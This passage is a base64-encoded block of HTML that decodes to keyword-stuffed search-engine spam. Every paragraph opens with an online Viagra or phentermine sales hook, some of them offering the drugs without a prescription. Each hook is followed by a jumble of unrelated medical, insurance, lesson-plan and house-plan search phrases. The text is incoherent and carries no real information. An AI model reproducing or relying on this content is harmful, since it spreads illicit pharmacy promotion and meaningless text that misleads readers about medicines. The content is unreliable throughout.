GlzIHRyZWF0bWVudCBtZW50YWwgaWxsbmVzcyBpbiBiZWdnYXJzIGRpYWJldGVzIHN0YXRpc3RpY3MgaW4gbmV3IGVuZ2xhbmQgY2FuIGJhYmllcyBoYXZlIGFsbGVyZ2llcyBjb2xvbiBjYW5jZXIgZ3VpZGVsaW5lcyBxdWl0IHNtb2tpbmcgdHYgY29tbWVyY2lhbCB3aGF0IGlzIGEgbWFya2V0IHBlbmV0cmF0aW9uIHBsYW4gaGVhbHRoIHBsYW5zIGluIHRoZSBwaGlsaXBwaW5lcyBzaWRlIGVmZmVjdHMgb2YgZmluYXN0ZXJpZGUgYW5kIGR1dGFzdGVyaWRlIHdvb2R3b3JraW5nIGJlZCBwbGFucyBtYWRlbGluZSBodW50ZXIgYmxhbmsgbGVzc29uIHBsYW4gZm9ybTwvcD4KPHA+RnJlZSB2aWFncmEgdHJpYWwgYW1veGljaWxsaW4gYW5kIGFibm9ybWFsIG1lbnN0dWFsIGN5Y2xlcyBzbW9rZWhvdXNlIHBsYW5zIGNvbXBhcmUgdHlwZXMgb2YgYmlydGggY29udHJvbCBwaWxscyBjaGlsZCBtZW50YWwgaWxsbmVzcyBjb25mZXJlbmNlIGNvbnZlbnRpb24gVmlhZ3JhIHBvcCBncnVwZSBmbGVldCBwbGFuIGFtZXJpY2FuIGFpcmxpbmVzIHdvb2Qgd29ya2luZyBwbGFucyBmb2xkaW5nIGtpdGNoZW4gc3Rvb2wgY2FuY2VyIGluIDIwcyBzdG9vbCBwbGFucyBiIHZpdGFtaW5zIGFuZCBuZXJ2b3VzIHN5c3RlbSBtZWFzdXJlIGZvciBzaXplIGJsb29kIHByZXNzdXJlIGN1ZmYgaW5mb3JtYXRpb24gb24gZHJ1ZyBhdGVub2xvbCB2aXRhbWlucyBoZWxwIHN0b3BzbW9raW5nIHNwcmludCBwY3MgcGhvbmUgb25seSBubyBwbGFuIGFsY29ob2wgY2FuY2VyIGNvbG9uIGhhcnZhcmQgbWVkaWNhbCBzY2hvb2wgY2FuY2VyIGNlbnRlciB0cmVsc3RhciBsYSBwcm9zdGF0ZSBjYW5jZXIgbGF0ZXN0IHByZXZlbnRpb24gZm9yIGNlcnZpY2FsIGNhbmNlciBwbGFuIGQgcGVuYWx0eSBodW1vciB0aGUgcGxhbiBkZWx0YSBkZW50YWwgZGVudGFsIHBsYW5zIGRvd25sb2FkaWJsZSBnb2F0IGJ1c2luZXNzIHBsYW4gcHJvc3RhdGUgY2FuY2VyIGRlYXRoIHJhdGUgc2xvYW4ta2V0dGVyaW5nIGNhbmNlciBjYXJlIHNlbWluYXJzIGZvciA0MTIgZSAzIHBsYW5zIGRpYWJldGVzIG1lbGxpdHVzIGNvZGVzIGstMyBwb2V0cnkgbGVzc29uIHBsYW4gYWxsZXJneSBkb2N0b3IgbWQgam9icyBzYW4gam9zZSBtaXJ0YXphcGluZSBjYXVzaW5nIHZlcnRpZ28gdmVnYW4gZGlldCBoYWlyIGxvc3Mgd2Fsa3dheSBsYW5kc2NhcGUgcGxhbnM8L3A+CjxwPlZpYWdyYSBmcmVlIHRyaWFsIG1pcnRhemFwaW5lIGZlbGluZSBzaWRlIGVmZmVjdHMgZm9yZCBjb2FjaG1hbiB2YW4gaHViIGNhcHMgc2lkZSBlZmZlY3RzIHByZWRuaXNvbG9uZSBhbmQgcHJvZ2VzdHJvbmUgaXMgdml0YW1pbiBkIGdvb2QgZm9yIG1vb2Qgc3BhbmRleCBzdWl0IGRvZyBhbGxlcmd5IHdlaWdodCBsb3NzIHN3aW1taW5nIG1pY3JvIHJldGluIGEgc2tpbiBpbnRlZ3JpdHkgY2FyZSBwbGFuIGhpZ2ggY2hvbGVzdGVyb2wgaGVhbHRoeSBkaWV0IHByaW50IGZyZWUgc2ltcGxlIGRpYWJldGVzIHBhbXBobGV0IHBhbmNyZWEgY2FuY2VyIHN5c3RlbXMgOCBwcmFtIHBsYW5zIHNjb3RsYW5kIHJlZ2lzdHJ5IG9mIGRpYWJldGVzIHRvcCBiaXJ0aCBjb250cm9sIHBpbGxzIHBlbGljYW4gbTYgbGl0aGl1bSBsZWFybmluZyB0byB3b3JrIGxlc3NvbiBwbGFucyBjYW4gdml0YW1pbiBiMTIgY2F1c2UgdmFnaW5hbCBkaXNjaGFyZ2UgbWlncmFudCBlZHVjYXRpb24gcHJvZ3JhbSBzZXJ2aWNlIGRlbGl2ZXJ5IHBsYW4gYnJlYXN0IGNhbmNlciBpbiBtYXJpbiBjb3VudHkgZnJlZSBkb3VibGUgbG91bmdlciBwbGFucyB3aGF0IGdlbmVzIGFyZSBhZmZlY3RlZCBpbiBhcnRocml0aXMgbWVtYW50aW5lIGFjdXRlIHBhaW4gdGVhY2hpbmcgcGxhbnMgcmVjZXB0aW9uIGNob2xlc3Rlcm9sIGFuZCBibG9vZCBwcmVzc3VyZSBtb25pdG9ycyBtYW51ZmFjdHVyZXJzIHBvc3Qgc3VyZ2ljYWwgcGFpbiByZWxpZWYgdmljZXJveSBob21lIHBsYW5zIDE5ODUgaG93IHRvIG9idGFpbiBheml0aHJvbXljaW4gYWRoIGhvcm1vbmVzIGdyZWF0IHBsYW5zIG9uIG1pbGl0YXJ5IGdhcmxpYyBncmFtcyB0byBsb3dlciBibG9vZCBwcmVzc3VyZSBmaWJlciByb2xlcyBpbiBjaG9sZXN0ZXJvbCB2aXRhbWluIGIxMiBhbmQgYmxsb2QgcGxhdGVsZXRzPC9wPgo8cD5Mb25nIHRlcm0gdXNlIG9mIHZpYWdyYSB3ZWVuaW5nIG9mZiBvbWVwcmF6b2xlIGhvdGVsIHJ3YW5kYSBsZXNzb24gcGxhbnMgZHJvcCBjbG90aCB0ZW50cyBwbGFucyBtZWRpY2F0aW9ucyBmb3IgY2F0cyB3aXRoIGFydGhyaXRpcyBob3NwaXRhbCBzaXR0ZXIgY2FyZSBwbGFucyBuc2FpZHMgYW5kIGJsb29kIHByZXNzdXJlIGFjY2VsbGlzIHdlaWdodCBsb3NzIHByb2R1Y3QgcmV2aWV3IGtpbmdlbGxhIHNlcHRpYyBhcnRocml0aXMgbmMgc2tpbiBjYXJlIGJvYXJkIGRpYWJldGVzIGV5ZXNpZ2h0IHF1YWxpZmllZCBwbGFuIGFtZW5kbWVudCB5ZWFyIHNldHVwIGEgZGF0YSBwbGFuIG9ubGluZSB0bW9iaWxlIG11c2xpbXMgZXhlbXB0IGZyb20gaGVhbHRoY2FyZSBwbGFuIG9tcm9uIGF1dG9tYXRpYyBibG9vZCBwcmVzc3VyZSBtb25pdG9yIHJldmlldyBsZXNzb24gcGxhbnMgZm9yIHNheG9uIG1hdGggc2lkZSBlZmZlY3RzIG9mIHZlbmxhZmF4aW5lIGhjbCBkbyBpdCB5b3VyIHNlbGYgaHlkcm9nZW4gcGxhbnMgbWVkaWNhaWQgaGVhbHRoIGNhcmUgcGxhbnMgaW4gbnkgc291dGggc3RyZWFtIHBpcGVsaW5lIHBsYW5zIGNhdGhvbGljIHNjaG9vbCBzdHJhdGVnaWMgcGxhbiBhbHRlbGwgcGhvbmVzIGFuZCBwbGFucyBwaWN0dXJlIG9mIHByb3ByYW5vbG9sIDgwbWcgbGEgY2Fwc3VsZSBhc3RobWEgbm8gb25vbyBjeWNsZSBjYW5jZXIgc3VwcGxpbWVudCB0aG9tIGhhcnRtYW5uIGFsbGVyZ2llcyB0byBub3ZvY2FpbiB1c3QgYW5uZXggcGUgcGxhbiB2ZXJpem9uIGluIHN0YXRlIGxvbmcgZGlzdGFuY2UgcGxhbnMgYSBmcmFtZSBjYWJpbiBob21lIHBsYW5zIGRlYXRoIGZyb20gdGh5cm9pZCBjYW5jZXIgd2FyZmFyaW4gd2l0aCBicmFpbiBhbnVlcnlzbXMgYnVzaW5lc3MgcGxhbiBmb3IgYnVnIGNvbnRyb2wga2lkcyB2aXRhbWlucyBwcmluY2VzcyBmbGludHN0b25lcyBwcmljZSB4YWxhdGFuPC9wPgo8cD5WaWFncmEgbm8gcGVyc2NyaXB0aW9uIHVzYSBnaWxsZXR0ZSBhbnRpYmFjdGVyaWFsIGl2ZXJtZWN0aW4gc3BlY3Ryb3Bob3RvbWV0ZXIgdXYgd2F2ZWxlbmd0aCBjb2xsYWJvcmF0aXZlIGxlc3NvbiBwbGFuIG5ldyBjYW5jZXIgcmVzZWFyY2ggYnJlYWt0aHJvdWdoIHZpbnRhZ2UgaG91c2UgcGxhbnMgMTkyOCBzdGF0ZSBvZiBpc3JhZWwgbGVzc29uIHBsYW5zIHNlbHdheSBmaXNoZXIgcGxhbnMgbWlub3hpZGlsIGZvciB3b21lbiBmb3IgaGFpciB0aGlubmluZyBiaXJ0aCBjb250cm9sIGFuZCBkZWNyZWFzZWQgc2V4IGRyaXZlIGhvZGEgY2FuY2VyIGV4ZXJjaXNlIGdlc3RhdGlvbmFsIGRpYWJldGVzIGNhcmRpb3Zhc2N1bGFyIGhlYWx0aGNhcmUgY29uc3VsdGFudHMgZG93bmxvYWRhYmxlIGZsb29yIHBsYW5zIHRlc3QgcGxhbiBuZXcgbWV4aWNvIGVwYSBob3cgY2hvbGVzdGVyb2wgcmVhY3RzIGluIHdhdGVyIHR5bGVub2wgc2NhcmUgc3RvY2sgZHJvcCBibG9vZCBwcmVzc3VyZSB2cyBhZ2UgY2hhcnQgMjAwOSBwZWFjZSBwbGFuIGFuZCBiaWJsZSBicmVhc3QgY2FuY2VyIGdldCB3ZWxsIGNhcmRzIHBvbWVncmFuaXRlIGp1aWNlIGZvciBlcmVjdGlsZSBkeXNmdW5jdGlvbiBwcmV2ZW50IHN0b2xlbiBjYWRpbGxhYyB3aGVlbCBjZW50ZXIgY2FwcyBjYXBzIGFuZCBjb3ZlcnMgcGxhbiBvZiBjYXJlIGZvciBjdXNoaW5ncyBzeW5kcm9tZSBEaXNjb3VudCBwaGVudGVybWluZSBhbmQgdmlhZ3JhIGFydGhyaXRpcyBtZWRpY2F0aW9uIHBlZGlhdHJpYyBhc3RobWEgYW50aWh5c3RhbWluZXMgY29udHJhaW5kaWNhdGVkIHdyaXRpbmcgZW1lcmdlbmN5IHBsYW5zIGNhbmNlciBib29rIG1lc290aGVsaW9tYSB0cmVhdG1lbnQgY2FuY2VyIGxhd3N1aXRzIHBlcml0b25lYWwgbWFsaWduYW50IGh5cG90aGFsbXVzIHdlaWdodCBsb3NzIGFsbGVyZ3kgYW5kIGFzdGhtYSBhc3NvY2lhdGVzIHNhbnRhIGNydXogYmx1ZSBza2llcyBjYXJ3YXNoIGNhbmNlciBrbm94dmlsbGUgcHJvdmlkZW5jIGFzc2FyaWFuIGNhbmNlciBjZW50ZXIgbGljIG9mIGluZGlhIHJldGlyZW1lbnQgcGxhbnMgU3RvcmllcyBvZiB2aWFncmEgZnJlZSBnZWV0IHBsYW5zIHNjcmV3IHdpbmUgcHJlc3MgcGxhbnM8L3A+CjxwPk9ubGluZSB2aWFncmEgcmFwaWRzaGFyZSBib29tZXJhbmcgcGxhbiBsZXNzb24gcGxhbnMga2luZGVyZ2FydGVuIGVjb25vbWkgbGFuZ3VhZ2UgbGl0ZXJhY3kgbGVzc29uIHBsYW4gb3RjIGV5ZSBkcm9wcyBhbGxlcmdpYyBjb25qdW5jdGl2aXRpcyBhYWEgbW9kZWwgbGVzc29uIHBsYW5zIHN3b2xsZW4gZmVldCBhbmQgYmxvb2QgcHJlc3N1cmUgaGlsZGkgZmxvb3IgcGxhbiBpZGVhcyB3b29kd29ya2luZyBwbGFucyBjYXB0YWlucyBiZWRzIHBvcnRlciBnZW5lcmljIHN0YXRlZ3kgYnVzaW5lc3MgcGxhbiBmb3IgcmV0aXJlbWVudCBjb25uZWN0aWN1dCBza2luIGNhcmUgbnVyc2luZyBpbnRlcnZlbnRpb25zIGZvciBnZXN0YXRpb25hbCBkaWFiZXRlcyBoeXBvZ2x5Y2VtaWEgbm90IGRpYWJldGVzIGh5cG90aHlyb2lkIGNhbmNlciBibG9vZCBwcmVzc3VyZSBzdHJpcHMgYmVya3NoaXJlIGhlYWx0aCBwbGFuIGJlYXRpbmcgaGl2IHdpdGggdml0YW1pbnMgMTAwMCBjb3VudCBtdWx0aSB2aXRhbWlucyBveHlidXR5bmluIGVyIHZzIG94eWJ1dHluaW4gdHJhbnNmZXIgb2Yga25vd2xlZGdlIHBsYW4gbWV0aGFtcGhldGFtaW5lIGFidXNlIGFuZCBjZXJ0YWluIGNhbmNlcnMgZG9lcyBicmVhc3QgY2FsY2lmaWNhdGlvbnMgbWVhbiBjYW5jZXIgbGl0aGl1bSBhc3BlcnRhdGUgYW5kIHVuaXBvbGFyIGRlcHJlc3Npb24gZ29nZ2xlIGFsbGVyZ3kgc2hvdHMgb2JhbWEgbWVkaWNhcmUgY3V0cyBoZWFsdGggY2FyZSBwbGFuIG9yZGluYWwgbnVtYmVycyBlbGVtZW50YXJ5IGxlc3NvbiBwbGFucyBzZWxmIGZ1bmRlZCBwZW5zaW9uIHBsYW5zIG11bHRpcGxlIGVtcGxveWVycyBjb2NvbnV0IG9pbCBhbGxlcmd5IGlwaG9uZSBleGNoYW5nZSBob3cgdG9vIHBsYW4gY2FuY2VyIGNlYSB2YWx1ZXMgcHJvc3RhdGUgY2FuY2VyIGFuZCBnbGVhc29uIHNjb3JlIGRpcmVjdCBsb2FuIGFsdGVybmF0aXZlIGZpeGVkIHBheW1lbnQgcGxhbiBuYXR1cmFsIGFudGliaW90aWNzIGZvciBzaW51cyBkdXRhc3RlcmlkZSBoYWlyIGdyb3d0aCByZXN1bHRzPC9wPgo8cD5WaWFncmEgc3VwcGxpZXIgdXMgb25saW5lIHBoYXJtYWN5IHdlaWdodCBsb3NzIHByb2R1Y3RzIHVrIGdlcmFsZCBtY2dpbm5pcyBjYXJkaW92YXNjdWxhciBpbnN0aXR1dGUgY2FmZmVpbmUgYW50aWJpb3RpY3MgbGVhcm5pbmcgeW91ciBhZGRyZXNzIHByZXNjaG9vbCBsZXNzb24gcGxhbiBjYXNpbyBicmVhc3QgY2FuY2VyIGJ1bmRsZSBzaWRlIGVmZmVjdHMgZnJvbSBmbG92ZW50IG9sZCBkZWx0YSBkZW50YWwgcGxhbiBjb21wcmVoZW5zaXZlIG1ldGFib2xpYyBwYW5lbCBkZXRlY3RpbmcgcHJvc3RhdGUgY2FuY2VyIFVrIHZpYWdyYSBzYWxlcyBvbmxpbmUgbGVzc29uIHBsYW5zIGFuZCBnYXJ5IHBhdWxzZW4gaHlkcm9jaGxvcm90aGlhemlkZSBzdHJ1Y3R1cmUgaGlsZGhvb2Qgb2Jlc2l0eSBhY3Rpb24gcGxhbiBnYXMgZm9vZCBhbGxlcmdpZXMgbWFyc2hhbGwgcGxhbiBhbmQgY2FwaXRhbGlzbSBkcmFmdCBidXNpbmVzcyBwbGFuIHdpdGggZmluYW5jaWFsIHN0YXRlbWVudCBpbmRpdmlkdWFsIHByb2Zlc3Npb25hbCBkZXZlbG9wbWVudCBwbGFuIHhlbmljYWwgbG9uZyB0ZXJtIHNpZGUgZWZmZWN0cyBzdGVlbCBjb3BwZXIgbGlseSBiZWFkIGNhcHMgbGVzc29uIHBsYW5zIGZvciBtZW50YWwgaWxsbmVzcyBncm91cHMgb2F0IGFsbGVyZ3kgYW5kIGVjemVtYSBpY3MgZm9ybSBpbml0aWFsIGFjdGlvbiBwbGFuIHZpdGFtaW4gYjYgbmVydm91cyBsaWRvY2FpbmUgY29udHJpbmRpY2F0aW9ucyBhcmVhIGNvZGUgcGxhbnMgZm9yIGJpcm1pbmdoYW0gYWxhYmFtYSB0YXlsb3IgbGl0aGl1bSBiYXRoIHNjYWxlIGRyIGJhcnIgcmFkaW9sb2dpc3QgYnJlYXN0IGNhbmNlciBjYW5jZXIgbGVvIGN1c3Agd2l0aCB2aXJnbyBwYWNlciBiYWphIGNoYW1wIGNlbnRlciBjYXBzPC9wPgo8cD5WaWFncmEgb3Zlcm5pZ2h0IGRlbGl2ZXIgd2VzdGVybiB1bmlvbiBuYXR1cmFsIGhlYWxpbmcgZm9yIGJyZWFzdCBjYW5jZXIgc2FtcGxlcyBvZiBwcm9qZWN0IHBsYW4gdGltZWxpbmVzIGNsdWIgc2xpIGhhdHMgY2FwcyBhcm9tYXRoZXJhcHkgZm9yIGFzdGhtYSBudXRyaWVudCBtYW5hZ2VtZW50IHBsYW4gcmVwYXltZW50IHRvIGNhZmV0ZXJpYSBwbGFuIGJhcHRpc3QgY2FuY2VyIGNhcmUgamFja3NvbnZpbGxlIGZsIHNpZW1lbnMgbGl0aGl1bSBpb24gYmF0dGVyeSA3MDBtYWggY2FuY2VyIHJ1Z2J5IG1pY2hlYWwgaGFsbCBoZWFydCBzaGFwZWQgbXVzaWMgYm94ZXMgcGxhbnMgZnJlZSBmcmVlIHlvdXRoIGJpYmxlIHN0dWR5IGxlc3NvbiBwbGFucyBibG9vZCBwcmVzc3VyZSBtZWRzIHRyZWF0IGFkaGQgU3RvcmllcyBvZiB2aWFncmEgaG93IHRvIGxvd2VyIGJsb29kIHByZXNzdXJlIHJhcGlkbHkgcG5hcyBkaWFiZXRlcyBnbGVldmVjIGZyZWUgY3VydmVkIGNoaW5hIGNhYmluZXQgd29vZHdvcmtpbmcgcGxhbnMgdHJhZGUgY2VsbHBob25lIHBsYW5zIGRvZGdlIHBsYW5zIGRyYXdpbmdzIGZyZWUgZmxvb3IgcGxhbnMgZm9yIGhvdXNlcyBkZW50YWwgcGxhbiBmb3Igbm9ydGhlcm4gbmV2YWRhIGRhbmdlcnMgb2YgdGFraW5nIGJpcnRoIGNvbnRyb2wgcGlsbHMgc2VjdGlvbiAxMjUgaW5zdXJhbmNlIHBsYW4gYmxhZGRlciBjYW5jZXIgaW4gd29tZW4gYmMgYnJlYXN0IGNhbmNlciBzaW1vbiBtYWNjb3JraW5kYWxlIGNhcHMgc3RydWN0dXJlIG9mIHJpc2Vkcm9uYXRlIHNwb3J0cyBpbiBlbmdsYW5kIGxlc3NvbiBwbGFucyBjYW5jZXIgZ3JhZGUgb3ZhcmlhbiBlbGJvd3MgYW5kIGFydGhyaXRpcyBob3cgb2Z0ZW4gY2FuY2VyIHNob3QgbmVkZWQgZmx1IHNob3RzIGluIHBlZGlhdHJpYyBhc3RobWEgcGF0aWVudHMgZG92ZXkgY29lIGxlc3NvbiBwbGFucyBlcHNvbiBzYWx0IGRpYWJldGVzPC9wPgo8cD5WaWFncmEgbXVsdHBsZSBzY2xlcm9zaXMgYmVzdCBjZWxsIHBob25lIHBsYW5zIGF2YWlsYWJsZSBjYW4gZHJpbmsgd2l0aCBhbnRpIGZ1bmdhbCBtZWRpY2F0aW9uIGRydWcgaW50ZXJhY3Rpb25zIGR1bG94ZXRpbmUgYW5kIGFsY29ob2wgbGVzc29uIHBsYW4gYWRkcmVzcyBhbmQgcGhvbmUgbnVtYmVyIHQ0IHBlcmlhbXB1bGxhcnkgY2FuY2VyIHByb2dub3NpcyBlbGRlcmx5IGFuZCBub3JtYWwgd2VpZ2h0IGxvc3MgZ2VuZXJpYyBzZXJpYWwgbnVtYmVyIGZvciB3aW5tZSBnb2xkZW4gcnVsZSBpbnN1cmFuY2UgYWxsZXJneSB0ZXN0aW5nIGNhcHMgc3BsaXQgYnJvd24gc3BvcmUgcHJpbnQgZXF1aW5lIGRpYWJldGVzIHBsYW5zIGZvciBhIHNvbGFyIHBhbmVsIGNoaWxkaG9vZCBjYW5jZXIgc29jaWV0eSBhc3RobWEgc2tpbiBnZW5lcmljIGxhYm9yIGZvcm1zIHZpdGFtaW4gYiBhbmQgbW9zcXVpdG8gYml0ZXMgZ3VhcmRzbWFuIGZ1cm5pdHVyZSBwbGFuIGJhcnRvbiBjb3VudHkgY2FuY2VyIHJpc2sgd2FsbWFydCAkNC4wMCBwbGFuIGZsb29yIHBsYW4gZnJvbSBrZWVwaW5nIHVwIGFwcGVhcmFuY2VzIG1lZGljYXJlIGF1eGlsaWFyeSBwbGFucyBmcmVlIGRlY2sgcGxhbnMgYWJvdmUgZ3JvdW5kIHBvb2xzIG5hdGlvbndpZGUgaGVhbHRoIHBsYW5zIHJheSByZXlub2xkcyBwbGFuIGh5c3RlcmVjdG9teSBhbmQgaG9ybW9uZXMgYW5kIHZhZ2luYWwgY2FuY2VyIG51cnNpbmcgY2FyZSBwbGFucyBmb3IgYWN0aXZpdHkgaW50b2xlcmFuY2UgZmx5IHJvZCByZXBsYWNlbWVudCBjYXBzIGhvdXNlIHBsYW5zIHNtYWxsIHNwYWNlcyBtdXNpYyBwbGFuIHN0YXRpc3RpY3Mgb2YgY2hlbW8gZm9yIHByb3N0cmF0ZSBjYW5jZXIgcHJlZG5pc29sb25lIGFjIGRyb3BzIGluIG5vc2UgY2l0YXRpb24geCBwbGFucyBhc3RobWEgY2hpbGRyZW48L3A+CjxwPkFydGkgdmlhZ3JhIHdlaWdodCBsb3NzIG55IGxpdGhpdW0gcmVscGFjZW1lbnQgaGVyaXRhZ2UgaGFyYm9yIGFzaHRvbiBtb2RlbCBmbG9vciBwbGFuIHNraW4gY2FyZSBwcm9kdWN0cyBvZiBkYXJrIHNraW4gd29vZGVuIGRvbGwgaG91c2UgcGxhbnMgZmluZ2VyIHBhaW50cyBicmVhc3QgY2FuY2VyIGJ1Z2VyIGtpbmcgbWFya2VpbmcgcGxhbiBjYW5jZXIgdHlwZXMgZGVmaW5pdGlvbnMgdHJlYXRtZW50cyBhcmUgaG9ybW9uZXMgbGlwaWRzIGFzdG0gd2VpZ2h0IGxvc3MgYXJ0aHJpdGlzIHRyZWF0bWVudCBmb3IgZG9ncyBpbiBhdGxhbnRhIGZyZWUgaW5jb21pbmcgY2FsbCBwbGFucyByZW1vdCBjZW50cm9sIGFpciBwbGFucyB3aGVyZSBvbmx5IG15IGtpbmcgcGxhbnMgdml0YW1pbiBkIGRhaWx5IGludGFrZSBidXkgMjAwIG1nIGdlbmVyaWMgbGFtb3RyaWdpbmUgY2FuIHBhcCBzbWVhcnMgZGV0ZWN0IGNlcnZpY2FsIGNhbmNlciBzYW5kcmluZ2hhbSBob3VzZSBmbG9vciBwbGFuIGRvZyB3aXRoIHNraW4gaXJyaXRhdGlvbnMgYWxsZXJnaWVzIHdhaXN0IGxpbmUgYW5kIGRpYWJldGVzIGNvYWNoZXMgdnMgY2FuY2VyIGFsbGVyZ2llcyBhbmQgY29ybiBhbmQgZG9ncyBob21lbWFkZSBnaWZ0IGlkZWFzIGZvciBjYW5jZXIgcGF0aWVudCB0aGUgcGFyc2xleSBnYXJkZW4gbGVzc29uIHBsYW5zIGxpdGhpdW0gaW9uIGJhdHRlcnkgZGVlcCBkaXNjaGFyZ2UgaGVhdnkgZXF1aXBtZW50IHJlcGFpciBzaG9wIGJ1c2luZXNzIHBsYW4gZ2FiYXBlbnRpbiBhZmZlY3RzIG9uIHRoZSBicmFpbjwvcD4KPHA+R2VudWluZSB2aWFncmEgd2hvbGVzYWxlcnMgYXJ0aHJpdGlzIGN5c3RzIGV4YW1wbGUgcGNpIHByb2plY3QgcGxhbiBoZWFkIGFuZCBuZWNrIGNhbmNlciBhZGRlbmJyb29rZXMgcGxhbiBhbiBpbnZlbnRvaW4gb25saW5lIGZvciBmcmVlIHByb3N0YXRlIGNhbmNlciBleGFtIG1hcmtldCBwbGFuIGZvciBpbmRpYW5hcG9saXMgaW4gc2FmZXR5IG9mIGFsbGVyZ3kgc2hvdHMgY2hpbGRyZW4gYXJ0aHJpdGlzIHN1cmdlcnkgb2YgdGhlIGhhbmQgaHlwbm9zaXMgd2VpZ2h0IGxvc3MgZGVzIG1vaW5lcyBsZWthaXIgY2hvbGVzdGVyb2wgZm9yZWlnbiBkaXJlY3QgaW52ZXN0bWVudCBidXNpbmVzcyBwbGFuIERpc2NvdW50IHBoZW50ZXJtaW5lIGFuZCB2aWFncmEgbXQgZGV3IGNhcHMgZm9yIGNhcHMgYWxsZXJneSBzeW5kcm9tZXMgZGlzYXN0ZXIgcmVjb3ZlcnkgcGxhbiBkZWZpbml0aW9uIHRleGFzIGJvcmRlciBoZWFsdGggaW1wcm92ZW1lbnQgcHJvamVjdCBkaWFiZXRlcyBkaXNuZXkgd29ybGQgcmlkZSBhY3Rpb24gcGxhbiBpZWVlIGRpc2FzdGVyIHJlY292ZXJ5IHBsYW4gbGlkb2NhaW5lIG1vYSByYW5jaG8gYmVybmFyZG8gZGlhYmV0ZXMgc3R1ZHkgcHJvemFjIGRvc2FnZSAxMCBtZyByZXRpcmVtZW50IHBsYW4gZm9yIGJpbGwgY2xpbnRvbiBlZmZlY3RzIG9mIGJpcnRoIGNvbnRyb2wgb24gcHJlZ25hbmNpZXMgbWV0Zm9ybWluIDEwMDBtZyBjbWF4IHN0YXRlIGZhcm0gaW5kaXZpZHVhbCBoZWFsdGggcGxhbiBwYXJlbnRpbmcgcGxhbiBkb3dubG9hZCBjYXNjYWRlcyBwZW5zaW9uIHBsYW4gdmlzaW9uIHBsYW4gb2YgYW1lcmljYSBpbnN1cmFuY2UgZWRlbiBsb3NzIHBhdGNoIHdlaWdodCBmbG9hdCBwbGFuIHRlbXBsYXRlIGZsb29yIHBsYW5zIGZyYW5rIGxsb3lkIHdyaWdodDwvcD4KPHA+UWEgdmlhZ3JhIDUteWVhciBwbGFuIGdyZWF0IGxlYXAgZm9yd2FyZCBjYW4gZHJ1Z3MgY2FzdWUgY2FuY2VyIGNhdWxrIHNlYWxhbnQgYW50aWJhY3RlcmlhbCBraXRjaGVuIHRoaXJkIGdyYWRlIG1vbmV5IGxlc3NvbiBwbGFucyBzYWZlIG1lZGljYWwgd2VpZ2h0IGxvc3MgcGVtYnJva2UgcGluZXMgNDE0aCBwbGFucyBmb2xkaW5nIHNuYWNrIHRyYXkgcGxhbnMgZGlmZmVyZW5jZSBhbGxlcmdpZXMgY29sZCBmb29kIGFsbGVyZ2llcyByZWQgaGFuZHMgYW5kIGZlZXQgY2FuIHByZW1hcmluIGNhdXNlIHdlaWdodCBnYWluIGF0dCBjZWxsIHBob25lIHdpcmVsZXNzIGxhbmRwaG9uZSBwbGFucyBncmF2ZXMgYW5kIGRpYWJldGVzIGNhbmNlciBhbmQgYWNyZWFnZSB3aW5sb2dvbiBnZW5lcmljIGNvbnRyb2wgZGFsb2cgZGlhYmV0ZXMgY2VudGVyIHdhcnJlbiBtaSBhcnRocml0aXMgcmhldW1hdG9pZCBvciBvc3Rlb2FydGhyaXRpcyBrZXZpbiB0cnVkZWF1IGFuZCB3ZWlnaHQgbG9zcyB0cmVhdGluZyBtcnNhIHdoYXQgYW50aWJpb3RpY3Mgd29yayBob21lIG1hZGUgZnVlbCBjZWxsIHBsYW5zIHZpdGFtaW4gayByZGEgcmVwdWJsaWNhbnMgZGVmZWF0IHdpdGhkcmF3YWwgcGxhbiB0aGUgcGFudGFncmFwaCBwbGFucyB0byBidWlsZCBwZXJnb2xhcyBkZXZlbG9wIGEgdW5pdCBhc3Nlc3NtZW50IHBsYW4gaGFpciBsb3NzIG1lbW9yeSBsb3NzIHN5bXB0b21zIGNhbmNlciBjZWxscyBsb3cgYm9keSB0ZW1wZXJhdHVyZSBpbm5lciBodWIgY2FwcyBmb3JkIGYtMjUwIGRldmVsb3BpbmcgbWFzdGVyIHBsYW4gcHJvY2VzcyByaGV1bWF0b2lkIGFydGhyaXRpcyBoZXJlZGl0YXJ5IGhpbGFyeSBjbGludG9ucyBoZWFsdGggY2FyZSBwbGFuIDIwMDc8L3A+CjxwPlZpdmEgdmlhZ3JhIHJpbmd0b25lIGRpYWJldGVzIHJlc2VhcmNoIHN0dWR5IG1hcmtldGluZyBhbmQgcHVibGljIHJlbGF0aW9ucyBwbGFuIGhhcnR6IGNhdCB2aXRhbWluIGNhcGVjaXRhYmluZSBvcmFsIDE1MCBtZyBmcmVlIGh5ZHJvZ2VuIGdlbiBwbGFucyBpc3V6dSB0cnVjayBwbGFuIHZpZXcgYXJ0aHJpdGlzIGRpZXQgc3VwcGxlbWVudHMgdWsgYnJlYXN0IGNhbmNlciB0diBhZHZlcnQgbGVzc29uIHBsYW4gYXBvbGxvIDEzIGNvdHRhZ2UgZmxvb3IgcGxhbnMgcGxhbnMgZm9yIGdyZXkgc3F1aXJyZWwgaG91c2Ugd2hhdCBzaWRlIGVmZmVjdHMgZG9lcyBhbGJ1dGVyb2wgaGF2ZSBjb3Vwb24gZW5lcmdpemVyIGxpdGhpdW0gYmF0dGVyeSBjb3Vwb24gcmViYXRlIHN0aW11bHVzIHBsYW4gY2FyZGlvdmFzY3VsYXIgZGlzZWFzZXMgbWFzc2FnZSBhaXIgbGVzc29uIHBsYW5zIGZvciBraWRzIGxlc3NvbiBwbGFuIG9uIG1vdW50YWlucyB3aWxsYW1ldHRlIHZhbGxleSBjYW5jZXIgY2VudGVyIGV1Z2VuZSBvciBjYW4gaGRsIGNob2xlc3Rlcm9sIGJlIHRvbyBoaWdoIGRyIGthcmVuIGhvcm1vbmVzIG1hcGxlIHJpZGdlIG1lbnRhbCBpbGxuZXNzIGxkcyBzZW1pbmFyeSBwbGFuIG9mIHNhbHZhdGlvbiBwb3N0ZXJzIGRpZmZlcmVudCBhbWVyaXBsYW4gcGxhbnMgd2hhdCBpcyByaXphdHJpcHRhbiByYXBpZCB3ZWlnaHQgbG9zcyBwZXJpb2QgbWVkaWN0aW9uIHJhYmVwcmF6b2xlIG5ld3QgZ2luZ3JpY2ggYW5kIHN0aW11bHVzIHBsYW4gcmF5b3ZhYyBsaXRoaXVtIGFhIGFsbGVyZ2llcyBzdW5mbG93ZXIga2VybmFsczwvcD4KPHA+T3JkZXIgVmlhZ3JhIG9ubGluZSBjaGVhcCB0aW90cm9waXVtIGJyb21pZGUgZG9zYWdlIGNoYXJ0IGZvciBpbmplY3RhYmxlIGl2ZXJtZWN0aW4gd2VpZ2h0I